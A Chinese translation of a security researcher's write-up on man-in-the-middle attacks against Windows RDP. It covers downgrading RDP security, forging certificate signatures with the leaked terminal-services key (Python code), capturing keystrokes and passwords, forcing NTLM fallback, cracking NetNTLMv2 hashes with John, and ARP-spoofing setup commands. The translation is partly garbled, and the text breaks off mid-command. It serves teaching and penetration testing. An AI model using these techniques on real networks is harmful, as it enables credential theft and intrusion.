发表日期:2017-04 文章编辑:小灯 浏览次数:3589
原文首发:看雪论坛
http://bbs.pediy.com/thread-217188.htm
引言
远程桌面协议是系统管理员用来连上微软终端机服务的电脑。可能最常见的是,它被用来在关键服务器上执行管理员任务,比如说拥有高权限的账户的域控制器,这中间的证书就是通过RDP协议传输的。因此,配置一个安全的RDP非常重要。
我们在SySS(State-of-the-Art of IT System Intrusion)经常见到由于错误地配置,在系统管理员活动目录环境中出现这种警告:
移除
点击此处添加图片说明文字
Figure 1: An SSL certificate warning
如果你经常遇到这样的警告,你就不能识别出真正的中间人攻击。本文旨在提高认真对待认证警告的重要性和意义,以安全地配置您的Windows环境。适合本文的读者为系统管理员,渗透测试人员和安全爱好者。虽然不是必须的,但你对下面几个方面最好有个认识:
--公钥密码体制和对称密码体制RSA和RC4)
--SSL(Secure Sockets Layer 安全套接层)
--– x509 certificates(x509证书)
--TCP(Transmission Control Protocol 传输控制协议)
--python
--– Hexadecimal numbers
and binary code(十六进制数值和二进制代码)
我们将会演示如何通过中间人攻击来嗅探你的证书,如果你不小心的话。这都不是新鲜的技术,以前就出现过,比如说Cain
&Abel项目。然而,Cain项目出现很久了,却闭源并且只支持Windows。我们想要分析所有与RDP 内部工作相关的细节,然后尽可能接近地模拟出一个真实的攻击。
毫无疑问的是, 你不能根据这篇文章中的发现来访问未经授权的系统。它们只能在系统管理员完全同意的情况下用作教学目的。否则,根据你的管辖权,你非常有可能触犯法律。
对于那些没有耐心的,指向源代码的链接见【1】。
初见协议
让我们先打开wireshark,看看通过RDP协议连接到一个服务器会发生什么。
移除
点击此处添加图片说明文字
图2: 在Wireshark中的RDP会话开始
正如上图,客户端首先提出了用于RDP会话的安全协议。 我们区分出了这三个协议:
--StandardRDPsecurity
--EnhancedRDPsecurityorTLS
security
--CredSSP
在这个例子中,客户端能够执行前两个协议。需要注意的是,标准的RDP协议始终非常安全并且不需要被客户端提示。TLS,或者“增强的RDP安全”,只是标准的RDP安全,被加密在TLS隧道里。在以下全文,我会持续用术语 SSL和 TLS
来描述。
CredSSP也在TLS隧道内,但不是通过受保护的隧道中来传输密码,Kerberos或者NTLM也用作身份认证。 这个协议也称为网络级认证(NetworkLevelAuthentication)。
早期的用户认证是允许服务器在提交任何凭据之前拒绝访问的功能(除了用户名),例如,如果用户没有必要的远程访问特权的话。
在我们的Wireshark会话中,我们可以看到在客户端和服务器端同意使用增强的RDP安全协议后执行SSL握手协议。为此,我们点击第一个数据包的协商报文 ,接着将TCP流解码为SSL:
移除
点击此处添加图片说明文字
图3: SSL握手开始
如果我们想中间人来完成RDP连接的话,我们就不能只是使用SSL代理,因为代理需要可以识别RDP协议。当第一次SSL握手的时候,需要识别出来,和SMTP
或者 FTP协议里的StartTLS类似。
在这用python来实现这个代理的作用。为此,我们只需创建受害者的服务器套接字,客户端连接到实际服务器端。如果必要的话,我们将其封装在SSL套接字中并转发这些数据。当然,我们也会密切检查可能修改被修改的数据。
首先我们要修改是客户端的协议功能。客户端可能想告诉服务器它支持CredSSP,但是我们将在到服务器的通路中间改变标准的RDP安全性。在那里默认配置,服务器将高兴地遵守。
为RDP构造一个基于python的中间人代理
Python代码的主要程序如下
移除
点击此处添加图片说明文字
函数
Run() 建立
sockets通信,处理协商协议并启用SSL,如果必要的话。之后在两个套接字之间转发数据。如果有调试标志的话,函数dump()会把数据以十六进制的形式打印出来。函数parse_rdp()从数据中提取一些有用的信息,函数tamper_data()会做一些相应的修改。
基本的密码学知识
因为我们要破解标准的RDP安全,我想先讲下RSA的基本知识。你可以跳过这部分。
在RSA中,加密解密,签名都是纯数学运算,只是凭借整数来完成。只需要记住所有的这些操作都是在有限群范围内。
当你在生成RSA密钥对时,你需要找到两个大素数p和q。取他们的乘积,N = PQ(这就是所谓的模数),计算φ(N)=(P - 1)(Q - 1)(欧拉函数),并选个和φ(N)互质的整数e。则d一定满足下式:
e · d ≡ 1 mod φ(n).
d是私钥,而e和n组成公钥。当然,从理论上d可以通过n和e算出来。除非你知道p和q,否则φ(n)是很难算出来。这就是为什么RSA的安全性很大程度上取决于分解大素数的难度。到目前为止,没有人知道如何快速计算大素数 - 除非你有一个量子计算机[4,5]。
为了加密原文m,计算m的e次方模上n:
c ≡ me mod n
为了解密密文c,只要把e换成d即可:
m
≡ cd mod n
如果你不是很明白的话,别担心这只是逆加密操作。数学证明的话,对于本文来说就复杂了。
签名与解密相同。你只是在消息的散列上执行它。
因为这些操作可以花费相当大代价,当m或c是大于256位的数时,则通常只使用RSA加密的对称密钥。用对称密码新产生的密钥来对实际消息进行加密(通常是AES)。
破坏标准的RDP安全
其实,没有太多要破解的。从设计上来说它就有问题,我会告诉你为什么。
标准RDP安全的工作方式是这样的:
- 客户端表示它打算使用标准RDP安全协议。
- 服务器同意,并把它自己的RSA公钥和一个“服务器随机数”发送给客户端。该公钥加上一些其他信息(如主机名等)被称为“证书”。该证书是使用私钥终端服务,以确保真实性。
- 客户端通过使用终端服务公钥验证证书。如果成功的话,它使用服务器的公钥来加密“客户端随机数”,并将其发送给服务器。
- 服务器用私钥解密客户端随机数。
- 服务器和客户端从对方的随机数导出会话密钥[6]。
密钥用于对称加密会话的其余部分。
注意所有这一切都是以明文形式传输,而不是在SSL隧道内部。原则上是好的,微软想和SSL所做的那样实现相同的技术。然而,密码学是很难的[7],并且一般来说,你应该去选用那些经受时间考验的解决办法,而非实现自己的。而微软马上就犯了一个重大错误。错误太明显了以致于我不明白他们为什么这样做。
你能发现这里的错误吗?客户如何得到终端服务公钥呢?答案是:它是预装的。这意味着每个系统上相同的密钥。这意味着私钥始终是相同的!因此,它可以从任何Windows安装过程中得到。事实上,我们甚至不需要那样做,由于现在微软官方已经正式发布,我们可以在microsoft.com
[8]查看。
会话密钥被导出后,对称加密可以在几个层次上进行[9]:无,40位RC4,56位RC4,128位RC4,或3DES(他们称之为FIPS)。默认值是128位RC4(“高”)。但如果我们可以窃听到密钥,加密有多强就根本不重要了。
所以计划很明确:当遇到服务器的公钥,我们快速生成自己同样大小的RSA密钥对,并覆盖它原来的密钥。当然,我们需要用终端私钥服务来生成我们公钥的签名,并用它代替原来的签名。然后,客户端成功地验证了我们伪造的公钥,我们收到了客户端的随机数。用私钥来解密它,把它记录下来,用客户端公钥重新加密它。就是这样!从现在开始,我们就可以解析客户端和服务器端的加密流量了。
唯一的挑战是正确地解析RDP报文。这恰恰是我们感兴趣的部分:
1 From server:
2 00000000: 03 00 02 15 02 F0 80 7F 6682 02 09 0A 01 00 02 ........f.......
3 00000010: 01 00 30 1A 02 01 22 02 0103 02 01 00 02 01 01 ..0...".........
4 00000020: 02 01 00 02 01 01 02 03 00FF F8 02 01 02 04 82 ................
5 00000030: 01 E3 00 05 00 14 7C 00 012A 14 76 0A 01 01 00 ......|..*.v....
6 00000040: 01 C0 00 4D 63 44 6E 81 CC01 0C 10 00 04 00 08 ...McDn.........
7 00000050: 00 00 00 00 00 01 00 00 0003 0C 10 00 EB 03 04 ................
8 00000060: 00 EC 03 ED 03 EE 03 EF 0302 0C AC 01 02 00 00 ................
Vollmer |Attacking RDP7
9 00000070: 00 02 00 00 00 20 00 00 0078 01 00 00 D9 5E A3 ..... ...x....^.
10 00000080: AA D6 F6 80 EB 0B 3E 1D 8D30 B3 AB 6A AE 26 07 ......>..0..j.&.
11 00000090: EF 89 3D CB 15 98 AE 22 7E4B 2B AF 07 01 00 00 ..=...."~K+.....
12 000000A0: 00 01 00 00 00 01 00 00 0006 00 1C 01 52 53 41 .............RSA
13 000000B0: 31 08 01 00 00 00 08 00 00 FF00 00 00 01 00 01 1...............
14 000000C0: 00 AF 92 E8 20 AC D5 F7 BB 9FCF 6F 6E 2C 63 07 .... ......on,c.
15 000000D0: 34 CC A7 7A 21 AB 29 8A 1B 5DFE FD 43 F1 10 FC 4..z!.)..]..C...
16 000000E0: DB C6 D6 4B F1 B7 E1 B9 5E F768 46 58 EF 09 39 ...K....^.hFX..9
17 000000F0: 08 03 0F 54 0C 58 FA 3E A3 4A50 F6 91 E9 41 F8 ...T.X.>.JP...A.
18 00000100: 89 1D CC 14 3C 64 0B 1D 2B 0C98 DF 63 D6 A6 72 ....
19 00000110: 42 ED AC CB 88 44 85 47 D3 8945 BA BD 9F 2D D0 B....D.G..E...-.
20 00000120: D5 0E 24 09 AD 02 2B 9D 37 18DD 12 8B F6 21 5B ..$...+.7.....![
21 00000130: 20 47 33 52 9C 00 32 BA E7 8380 7F AA 3C F3 C7 G3R..2......<..
22 00000140: 95 DD 84 C2 4E 5E 0C 27 52 74FC 87 0E 10 D9 42 ....N^.'Rt.....B
23 00000150: 19 0D F5 77 57 3F 71 4F 9C 340F 12 F8 E8 B0 59 ...wW?qO.4.....Y
24 00000160: F7 CD 09 F9 A5 25 AE 6A CB E6CB 88 24 DA D2 46 .....%.j....$..F
25 00000170: 42 21 21 94 2E 6D 42 FF 9F AF89 E3 BA EC CC DA B!!..mB.........
26 00000180: 15 71 5D 17 A9 5A 00 59 D4 ADEA E4 93 58 06 5B .q]..Z.Y.....X.[
27 00000190: F7 22 2A 1F DD DC C6 27 30 2A25 10 B1 A8 40 98 ."*....'0*%...@.
28 000001A0: 6B 24 B6 4E 2A 79 B7 40 27 F4BE 07 35 80 50 48 k$.N*y.@'...5.PH
29 000001B0: 72 A4 0D 2B AA B0 5C 89 C0 962A 49 1E BC A1 AB r..+..\...*I....
30 000001C0: D0 00 00 00 00 00 00 00 00 08 00 48 00 3D 5F 11 ...........H.=_.
31 000001D0: A1 C1 38 09 1B B1 85 52 1ED1 03 A1 1E 35 E7 49 ..8....R.....5.I
32 000001E0: CC 25 C3 3C 6B 98 77 C2 8703 C4 F5 78 09 78 F1 .%.
33 000001F0: 43 21 07 BD AB EE 8E B0 F6BC FC B0 A6 6A DD 49 C!...........j.I
34 00000200: A0 F1 39 86 FE F1 1E 36 3CCE 69 C0 62 00 00 00 ..9....6<.i.b...
35 00000210: 00 00 00 00 00
.....
我加粗了那些表示公共密钥的字节。它前面的两个字节表示它的长度(0x011c)little-endian字节顺序(0x011c)。正如我们之前讨论的,公共密钥由模数和公共指数组成。阅读RDP规范[10]来了解数据结构的细节。
让我们来看看该信息确实是我们感兴趣的。模数如下:
1 00000000: AF92 E820 ACD5 F7BB9FCF 6F6E 2C63 0734 ... ......on,c.4
2 00000010: CCA7 7A21 AB29 8A1B5DFE FD43 F110 FCDB ..z!.)..]..C....
3 00000020: C6D6 4BF1 B7E1 B95EF768 4658 EF09 3908 ..K....^.hFX..9.
4 00000030: 030F 540C 58FA 3EA34A50 F691 E941 F889 ..T.X.>.JP...A..
5 00000040: 1DCC 143C 640B 1D2B0C98 DF63 D6A6 7242 ...
6 00000050: EDAC CB88 4485 47D38945 BABD 9F2D D0D5 ....D.G..E...-..
7 00000060: 0E24 09AD 022B 9D3718DD 128B F621 5B20 .$...+.7.....![
8 00000070: 4733 529C 0032 BAE78380 7FAA 3CF3 C795 G3R..2......<...
9 00000080: DD84 C24E 5E0C 275274FC 870E 10D9 4219 ...N^.'Rt.....B.
10 00000090: 0DF5 7757 3F71 4F9C340F 12F8 E8B0 59F7 ..wW?qO.4.....Y.
11 000000A0: CD09 F9A5 25AE 6ACBE6CB 8824 DAD2 4642 ....%.j....$..FB
12 000000B0: 2121 942E 6D42 FF9FAF89 E3BA ECCC DA15 !!..mB..........
13 000000C0: 715D 17A9 5A00 59D4ADEA E493 5806 5BF7 q]..Z.Y.....X.[.
14 000000D0: 222A 1FDD DCC6 27302A25 10B1 A840 986B "*....'0*%...@.k
15 000000E0: 24B6 4E2A 79B7 4027F4BE 0735 8050 4872 $.N*y.@'...5.PHr
16 000000F0: A40D 2BAA B05C 89C0962A 491E BCA1 ABD0 ..+..\...*I.....
17 00000100: 0000 0000 0000 0000........
签名是:
1 00000000: 3D5F 11A1 C138 091BB185 521E D103 A11E =_...8....R.....
2 00000010: 35E7 49CC 25C3 3C6B9877 C287 03C4 F578 5.I.%.
3 00000020: 0978 F143 2107 BDABEE8E B0F6 BCFC B0A6 .x.C!...........
4 00000030: 6ADD 49A0 F139 86FEF11E 363C CE69 C062 j.I..9....6<.i.b
5 00000040: 0000 0000 0000 0000........
服务器端随机数:
100000000: D95E A3AA D6F6 80EB0B3E 1D8D 30B3 AB6A .^.......>..0..j
200000010: AE26 07EF 893D CB1598AE 227E 4B2B AF07 .&
所有的都是小端字节序。我们注意到在服务器随机数,并替换了两个值。
使用OpenSSL来生成RSA密钥。有个Python库也可以实现RSA,但它效率和openssl比的话太低了
1$ openssl genrsa 512 | openssl rsa -noout -text
2Generating RSA
private key, 512 bit long modulus
3.....++++++++++++
4..++++++++++++
5e is 65537 (0x01001)
6Private-Key : (512
bit)
7modulus:
800:f8:4c:16:d5:6c:75:96:65:b3:42:83:ee:26:f7:
9e6:8a:55:89:b0:61:6e:3e:ea:e0:d3:27:1c:bc:88:
1081:48:29:d8:ff:39:18:d9:28:3d:29:e1:bf:5a:f1:
1121:2a:9a:b8:b1:30:0f:4c:70:0a:d3:3c:e7:98:31:
1264:b4:98:1f:d7
13PublicExponent:65537(0x10001)
14privateExponent:
1500:b0:c1:89:e7:b8:e4:24:82:95:90:1e:57:25:0a:
1688:e5:a5:6a:f5:53:06:a6:67:92:50:fe:a0:e8:5d:
17cc:9a:cf:38:9b:5f:ee:50:20:cf:10:0c:9b:e1:ee:
1805:94:9a:16:e9:82:e2:55:48:69:1d:e8:dd:5b:c2:
198a:f6:47:38:c1
20prime1:
21[...]
在这里我们可以看到模数n,公钥e和私钥d。它们都是以16进制的大端字节序的形式表示的。我们实际需要2048位的密钥,而不是512位的,但你有一个想法,伪造签名是很容易的。我们采取的证书的前六块的MD5哈希值,参照规格[11]加上一些常量,并用终端服务密钥【8】的私有部分进行加密。下面是它的python实现:
1
2
def
sign_certificate(cert):
3
"""Signs the certificate with the private
key"""
4
m = hashlib.md5()
5
m.update(cert)
6
m = m.digest() + b"\x00" + b"\xff"*45 +
b"\x01"
7
m = int.from_bytes(m, "little")
8
d = int.from_bytes(TERM_PRIV_KEY["d"],
"little")
9
n = int.from_bytes(TERM_PRIV_KEY["n"],
"little")
10
s = pow(m, d, n)
11
return s.to_bytes(len(crypto["sign"]),
"little")
我们需要拦截的下一条消息是一个包含加密的客户端随机。它看起来是这样的
1From client:
2 00000000: 03 00 01 1F 02 F0 80 64 00 08 03 EB 70 81 10 01.......d....p...
3 00000010: 02 00 00 08 01 00 00 DD 8A 43 35 DD 1A 12 99 44 .........C5....D
4 00000020: A1 3E F5 38 5C DB3F 3F 40 D1 ED C4 A9 3B 60 6A .>.8\.??@....;`j
5 00000030: A6 10 5A AF FD 177A 21 43 69 D0 F8 9B F1 21 A3 ..Z...z!Ci....!.
6 00000040: F1 49 C6 80 96 0362 BF 43 54 9D 38 4D 68 75 8C .I....b.CT.8Mhu.
7 00000050: EA A1 69 23 2F F6E9 3B E7 E0 48 A1 B8 6B E2 D7 ..i#/..;..H..k..
8 00000060: E2 49 B1 B2 1B BFBA D9 65 0B 34 5A B0 10 73 6E .I......e.4Z..sn
9 00000070: 4F 15 FA D7 04 CA5C E5 E2 87 87 ED 55 0F 00 45 O.....\.....U..E
10 00000080: 65 2C C6 1A 4C 096F 27 44 54 FE B6 02 1C BA 9F e,..L.o'DT......
11 00000090: 3B D8 D0 8D A5 E693 45 0C 9B 68 36 5C 93 16 79 ;......E..h6\..y
12 000000A0: 0B B8 19 BF 88 085D AC 19 85 7C BB AA 66 C4 D9 ......]...|..f..
13 000000B0: 8E C3 11 ED F3 8D27 60 8A 08 E0 B1 20 1D 08 9A ......'`.... ...
14 000000C0: 97 44 6D 33 23 0E5C 73 D4 02 4C 20 97 5C C9 F6 .Dm3#.\s..L .\..
15 000000D0: 6D 31 B2 70 35 3937 A4 C2 52 62 C7 5A 69 54 44 m1.p597..Rb.ZiTD
16 000000E0: 4C 4A 75 D2 63 CC52 15 8F 6E 2A D8 0D 61 A5 0A LJu.c.R..n*..a..
17 000000F0: 47 5B 2A 68 97 7B1B FF D3 33 10 49 15 9A D6 2C G[*h.{...3.I...,
18 00000100: DF 04 6D 93 21 7832 98 8B 0B F4 01 33 FB CC 5B ..m.!x2.....3..[
19 00000110: 83 BA 2D 7F EA 823B 00 00 00 00 00 00 00 00 ..-...;........
同样,我强调了加密的客户端随机。它前面的四个字节表示它的长度(0x0108)。因为是用我们的证书加密的,所以我们可以很容易地将其解密:
1 00000000: 4bbd f97d 49b6 8996ec45 0ce0 36e3 d170 K..}I....E..6..p
2 00000010: 65a8 f962 f487 5f27cd1f 294b 2630 74e4 e..b.._'..)K&0t.
我们只需要使用服务器的公钥重新进行加密,并且在传输将替换它替换下。
不巧的是,我们还没做完。我们现在知道秘密的客户端随机,但不管是什么原因微软决定不只是使用对称密钥。有一个详细的过程[6]派生的客户端的加密密钥,服务器端的加密密钥和签名密钥。它很无趣但是明了。
之后,我们得出的会话密钥,我们可以初始化s盒用RC4流。由于RDP接受来自服务器的消息时比来自客户端的多个分散的密钥,我们需要两个S盒。S盒是一个256个字节数组根据密钥以一种特定方式变换。然后S盒生成伪随机数的流,这些都是数据流相互异或得到的。我的Python实现如下
正如你所看到的,该协议在加密4096个包之后需要更新密钥。我还没有花心思去实现它,因为我只对作为概念验证的证书感兴趣。随意给我一个补丁!
现在,我们准备好读取流量用到的所有东西了。我们对于那些包含键盘输入事件的包特别感兴趣,即按键和按键释放。我从规范[12]收集了包含多个数据包的消息,有些是缓慢路径的数据包(以0x03开始),有些是快速路径数据包(第一个字节可以被4整除)。
一次键盘输入事件[13] 由两个字节组成,例如:
00000000:
01 1F
这意味着做了“S”键(0x1F)已经按过了(因为第一个字节为0x01)。
我不是很擅长分析这些,因为有时鼠标移动事件会被键盘事件检测到。因此,该扫描码需要转换为虚拟键码,它取决于键盘类型和布局。这似乎没什么意义,所以我打算做。我只是使用了参考【14】中的地图。这是足够好的概念证明。
让我们来尝试一下。一旦连接到我们的伪造的RDP服务器,我们已经收到了警告,服务器的真实性无法验证:
移除
点击此处添加图片说明文字
图4: 服务器的身份不能验证通过
注意到什么了吗?这不是一个SSL警告。不管怎样,我们现在可以看到按键(见图5)。
顺便说一句,这就是Cain正在做的。
破坏增强的RDP安全
对我来说,降级到标准RDP的安全性是不能令人感到满意的。如果我是攻击者,我会尽量让攻击看起来地正常。受害者会发现与平时不一样的警告,在建立连接之后需要输入他们的证书。
当我和Cain作为中间人攻击RDP连接时,总是很困扰看不到相同的SSL警告,。我发现很难给客户解释为什么要当心SSL警告,特别是如果他们使用自己签名的证书时可能不需要进行验证,如果这个MITM工具显示了一个完全不同的警告时。
移除
点击此处添加图片说明文字
图5: 以明文形式的键盘输入事件。密码是 Secr3t!
所以让我们尝试降级到增强的RDP安全的连接。对于这一点,我们需要自己签名的SSL
证书,这可以通过OpenSSL产生:
1 $
openssl req -new -newkey rsa:"$KEYLENGTH" -days "$DAYS"
-nodes -x509 \
2 -subj
"$SUBJ" -keyout privatekey.key -out certificate.crt 2> /dev/null
我们在正确的时间换了SSL包内的Python
TCP套接字并且成功了。前面我说过标准RDP协议用在SSL隧道内部,但服务器总是选择“无”作为加密级别。这样很好,因为它可以安全地假设SSL包确保了数据的真实性和完整性。在SSL的顶端使用RC4算法是一种浪费资源的体现。击键的提取工作完全和以前的部分一样。
唯一额外的安全功能是由服务器确认原来的协议协商。在SSL连接建立后,服务器告诉客户端:“对了,你告诉我你支持哪些安全协议“。二进制形式如下:
From server:
1 00000000: 03 00 00 70 02 F0 80 7F 6666 0A 01 00 02 01 00 ...p....ff......
2 00000010: 30 1A 02 01 22 02 01 03 02 01 00 02 01 01 02 010..."...........
3 00000020: 00 02 01 01 02 03 00 FF F8 02 01 02 04 42 00 05 .............B..
4 00000030: 00 14 7C 00 01 2A 14 76 0A 01 01 00 01 C0 00 4D ..|..*.v.......M
5 00000040: 63 44 6E 2C 01 0C 10 00 04 00 08 00 01 00 00 00 cDn,............
7 00000050: 01 00 00 00 03 0C 1000 EB 03 04 00 EC 03 ED 03 ................
8 00000060: EE 03 EF 03 02 0C 0C00 00 00 00 00 00 00 00 00 ................
然后,客户端会把这个值和它第一次请求的值作比较,如果不匹配的话,终止连接。显然,为时已晚。我们在中间的位置,可以通过用它的原始值(即0x03)来替换正确的字节(突出显示的偏移量0x4C处)从而隐藏伪造的来自客户端的协商请求。
在此之后,我们能够以明文形式看到所有的东西。来吧,尝试一下。
正如预期的那样,受害者看到了正确的SSL警告。但是,还是有点不一样的。在RDP连接建立之前没有提示说我们的证书,而是受害者看到了windows登录窗口。不像NLA,认证在会话过程中。同样,有些东西不同于典型的管理员的工作流程,并且可能被注意到。
阻断 CredSSP
好吧,我就在这里承认这一点:我们是不会阻断CredSSP的。但是,我们会找到一个方法来规避它。
首先,让我们来看看,如果我们不降级连接的话会发生什么。发送到服务器的一条相关信息如下:
1 From client:
2 00000000: 30 82 02 85 A0 03 0201 04 A1 82 01 DA 30 82 01 0............0..
3 00000010: D6 30 82 01 D2 A0 8201 CE 04 82 01 CA 4E 54 4C .0...........NTL
4 00000020: 4D 53 53 50 00 03 0000 00 18 00 18 00 74 00 00 MSSP.........t..
5 00000030: 00 2E 01 2E 01 8C 0000 00 08 00 08 00 58 00 00 .............X..
6 00000040: 00 0A 00 0A 00 60 0000 00 0A 00 0A 00 6A 00 00 .....`.......j..
7 00000050: 00 10 00 10 00 BA 0100 00 35 82 88 E2 0A 00 39 .........5.....9
8 00000060: 38 00 00 00 0F 6D 49C4 55 46 C0 67 E4 B4 5D 86 8....mI.UF.g..].
9 00000070: 8A FC 3B 59 94 52 0044 00 31 00 34 00 55 00 73 ..;Y.R.D.1.4.U.s
10 00000080: 00 65 00 72 00 31 0057 00 49 00 4E 00 31 00 30 .e.r.1.W.I.N.1.0
11 00000090: 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 ................
12 000000A0: 00 00 00 00 00 00 0000 00 11 0D 65 8E 92 7F 07 ...........e....
13 000000B0: 7B 04 02 04 0C C1A6 B6 EF 01 01 00 00 00 00 00 {...............
14 000000C0: 00 D5 FD A8 7C EC95 D2 01 A7 55 9D 44 F4 31 84 ....|.....U.D.1.
15 000000D0: 8A 00 00 00 00 0200 08 00 52 00 44 00 31 00 34 .........R.D.1.4
16 000000E0: 00 01 00 08 00 4400 43 00 30 00 31 00 04 00 14 .....D.C.0.1....
17 000000F0: 00 72 00 64 00 3100 34 00 2E 00 6C 00 6F 00 63 .r.d.1.4...l.o.c
18 00000100: 00 61 00 6C 00 0300 1E 00 64 00 63 00 30 00 31 .a.l.....d.c.0.1
19 00000110: 00 2E 00 72 00 6400 31 00 34 00 2E 00 6C 00 6F ...r.d.1.4...l.o
20 00000120: 00 63 00 61 00 6C00 05 00 14 00 72 00 64 00 31 .c.a.l.....r.d.1
21 00000130: 00 34 00 2E 00 6C00 6F 00 63 00 61 00 6C 00 07 .4...l.o.c.a.l..
22 00000140: 00 08 00 D5 FD A87C EC 95 D2 01 06 00 04 00 02 ......|.........
23 00000150: 00 00 00 08 00 3000 30 00 00 00 00 00 00 00 00 .....0.0........
24 00000160: 00 00 00 00 20 0000 4C FA 6E 96 10 9B D9 0F 6A .... ..L.n.....j
25 00000170: 40 80 DA AA 8E 264E 4E BF AF FA E9 E3 68 AF 78 @....&NN.....h.x
26 00000180: 7F 53 E3 89 D9 6B18 0A 00 10 00 00 00 00 00 00 .S...k..........
27 00000190: 00 00 00 00 00 0000 00 00 00 00 09 00 2C 00 54 .............,.T
28 000001A0: 00 45 00 52 00 4D00 53 00 52 00 56 00 2F 00 31 .E.R.M.S.R.V./.1
29 000001B0: 00 39 00 32 00 2E00 31 00 36 00 38 00 2E 00 34 .9.2...1.6.8...4
30 000001C0: 00 30 00 2E 00 3100 37 00 39 00 00 00 00 00 00 .0...1.7.9......
31 000001D0: 00 00 00 00 00 0000 19 0AF7 ED 0C 45 C0 80 73 ............E..s
32 000001E0: 53 74 1A AB AF 13 B4A3 81 9F 04 81 9C 01 00 00 St..............
33 000001F0: 00 7F 38 FE A6 32 5E4E 57 00 00 00 00 42 B4 6E ..8..2^NW....B.n
34 00000200: 39 09 AA CC 8F 04 715C 54 CF AD E0 A0 58 AA 06 9.....q\T....X..
35 00000210: B2 F0 0A 33 05 03 5460 FB E1 68 FC F5 0D A9 C0 ...3..T`..h.....
36 00000220: D9 57 BA 43 F2 92 F76F 32 74 4E 86 CD 7F F0 3B .W.C...o2tN....;
37 00000230: DD A4 A4 67 0A B7 7E64 0B 63 D7 4B F7 C6 B7 8F ...g..~d.c.K....
38 00000240: 21 15 9D EA 3E E1 1A50 AB AA D3 6E 46 9D 68 6E !...>..P...nF.hn
39 00000250: 2A EA 44 5C E0 51 1D41 B4 13 EB B9 90 E8 75 AD *.D\.Q.A......u.
40 00000260: A0 99 4E F2 A5 99 D48D 2A 11 73 F1 95 FC 7E A0 ..N.....*.s...~.
41 00000270: 06 FD 13 DB D0 3B 7AB4 41 97 B6 94 D4 11 62 F5 .....;z.A.....b.
42 00000280: 4C 06 BE 03 9C 0F 550E 3C L.....U.<.
我强调了客户端质询和NTLM响应。无论是对旁边的海誓山盟。服务器质询在来自服务器的前面的消息中。
我们正在寻找在这里是NTLM身份验证[15]。这是一个挑战 - 响应技术,其中客户端映射服务器质询(类似于早些时候服务器随机数),客户端质询,用户密码的哈希值和一些其他数的到一个加密哈希值。这个值,叫做“NTLM响应”,然后传输到服务器。
这个值是如何算出来的对于我们不是很重要。我们唯一需要知道的的事情就是它不能重现或用于哈希攻击。但它可以被暴力破解!底层散列算法是HMAC-MD5,所有这是一个相当简单的哈希算法(所以我们每秒钟可以破解很多次),但它也是加盐的(这就排除了彩虹表)。
现在,我们可以尝试用Hashcat [17]或JohntheRipper[18]来破解它。John的哈希格式
如下:
1 :::::
所以在我们的例子中会有:
User1::RD14:a5f46f6489dc654f:110d658e927f077b0402040cc1a6b6ef:0101000000000
000d5fda87cec95d201a7559d44f431848a0000000002000800520044003100340001000800
44004300300031000400140072006400310034002e006c006f00630061006c0003001e00640
06300300031002e0072006400310034002e006c006f00630061006c00050014007200640031
0034002e006c006f00630061006c0007000800d5fda87cec95d201060004000200000008003
000300000000000000000000000002000004cfa6e96109bd90f6a4080daaa8e264e4ebfaffa
e9e368af787f53e389d96b180a0010000000000000000000000000000000000009002c00540
0450052004d005300520056002f003100390032002e003100360038002e00340030002e0031
0037003900000000000000000000000000
如果我们把这个放在在一个名为hashes.txt的文件中,下面的命令能够验证我们是否做的是对的:
1
$ echo 'S00perS3cretPa$$word' | ./john --format=netntlmv2
--stdin hashes.txt
2
Using default input encoding: UTF-8
3
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5
32/64])
4
Will run 8 OpenMP threads
5
Press Ctrl-C to abort, or send SIGUSR1 to john process for
status
6
S00perS3cretPa$$word (User1)
7
1g 0:00:00:00 33.33g/s 33.33p/s 33.33c/s 33.33C/s
S00perS3cretPa$$word
8
Use the "--show" option to display all of the
cracked passwords reliably
9
Session completed
因此,这是聊胜于无。但是,我们可以做的更好。
我们需要问自己:如何在服务器端验证NTLM响应?它要求域控制器。如果域控制器不可用呢?它说:“换下思路,让我们做增强的RDP安全而不是NLA”,客户端也将遵守。而抱怨者会说:由于客户端已经缓了用户的密码,它只会传输它,而不是将用户定向到Windows登录界面的!这恰恰是我们想要的东西。除了SSL警告(受害者可能习惯了这个),什么可疑的都不会发生。
所以我们这样做:在客户端发送的NTLM响应后,我们将代替服务器这样回答:我没有找到关于这个的文档(如果你找到的话,请给我写一封电子邮件),但如果不能连接到域控制器的话服务器端会如何响应。客户端将退回到增强的RDP安全,显示SSL警告,并从SSL隧道向服务器里传输密码。
作为一个侧面说明,请注意我们没有得到SSL警告。根据规格[19],客户端需要发送SSL证书的指纹到由CredSSP的协议协商的密钥加密的服务器。如果不匹配服务器证书的指纹,会话终止。这就是为什么上述工作如果受害人提供了不正确的凭据
- 我们能够看到(不正确)的密码。但是,如果密码是正确的,我们将看到一个TLS内部错误。
我想出了一种办法是简单地用NTLM响应篡改。我改变了Python脚本中NTLM响应的部分,所以NTLM身份验证会一直失败。我们的受害者却不会请注意,正如我们刚才看到的,我们可以降级到TLS连接,之后凭据会重发。
然而,我们需要考虑一些事情。如果客户端可以分辨出你做尝试连接到域连接的计算机,它不会使用NTLM。它会使用Kerberos,这意味着建立RDP连接请求票证之前它会联系域控制器。这是一件好事,因为Kerberos票据比加盐的NTLM响应更加没用。但是,如果攻击者是中间人攻击的地位的话,他能够阻止对Kerberos服务的所有请求。如果无法联系Kerberos服务,客户端会发生什么?没错,它会回落到NTLM。
攻击专业化
剩下的就是简单地点击几下。到目前为止,我们一直配置实验室环境。受害者不会通过RDP客户端进入我们的IP,他会进入自己的服务器的IP或主机名。有许多方式来获得中间人攻击的位置,但在这里我们将选择ARP欺骗的方式。很容易就可以证明这是一个概念证明。由于它是一个2层的攻击,我们必须要合被攻击者在同一子网中。
我们伪造的ARP应答后,使得IPv4流量转发所有在受害者和网关之间进行的通信将通过我们的计算机。因为我们还不知道被攻击者输入的的IP地址,我们暂且不能运行python脚本。
首先,我们创造一个iptables规则,拒绝接受来自一个用于RDP
服务器传输的被攻击者的SYN数据包:
1 $ iptables -A FORWARD -p tcp -s"$VICTIM_IP" --syn --dport 3389 -j REJECT
我们不想重定向任何其他流量,因为被攻击者可能会正在使用已经建立连接的RDP,这样的话会破坏连接。如果我们不拒收那些数据包,受害者实际上会与真正的主机连接,而相反我们希望他们与我们连接。
其次,我们等待受害人的目的端口3389 TCP的SYN包,为了获取最初的目的主机的地址。我们在这使用tcpdump命令 :
1
$ tcpdump -n -c 1
-i "$IFACE" src host "$VICTIM_IP" and \
2
